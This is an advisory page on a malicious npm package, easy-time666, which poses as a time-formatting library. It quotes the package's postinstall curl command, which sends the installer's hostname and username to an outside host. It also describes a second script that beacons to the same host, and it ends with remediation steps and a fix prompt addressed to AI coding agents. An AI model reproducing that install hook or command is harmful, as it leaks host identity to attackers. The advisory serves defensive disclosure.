# MAL-2026-5749: Malicious code in easy-time666 (npm)


- **Type:** Malicious package
- **Package:** `easy-time666` (npm)
- **Published:** 13 Jun 2026
- **Also known as:** GHSA-wfff-g64j-qx73

## What is MAL-2026-5749?

MAL-2026-5749 is a malicious package in easy-time666, published on 13 Jun 2026. 

### Official description

package.json declares a postinstall hook that runs `curl http://npm.wdf1.eyes.sh/pre?h=$(hostname)&u=&(whoami)` over plain HTTP on every `npm install`, leaking the installer's hostname and current username to a non-publisher domain. The package advertises itself as a time-formatting library and has no legitimate reason to phone home with host identifiers. A second file, scripts/postinstall.js, is shipped in the tarball and POSTs JSON `{ping:'npm'}` to the same host (`npm.wdf1.eyes.sh`) over plain HTTP, reinforcing the install-time callback. This is the canonical recon-beacon pattern used to enumerate compromised hosts before staging follow-on payloads.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'easy-time666' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-5749?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5749 is a malicious package: easy-time666 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5749/ (Markdown: https://insights.sbomify.com/MAL-2026-5749/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5749

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5749/
Summaries are generated and may contain mistakes; the official description above is the record.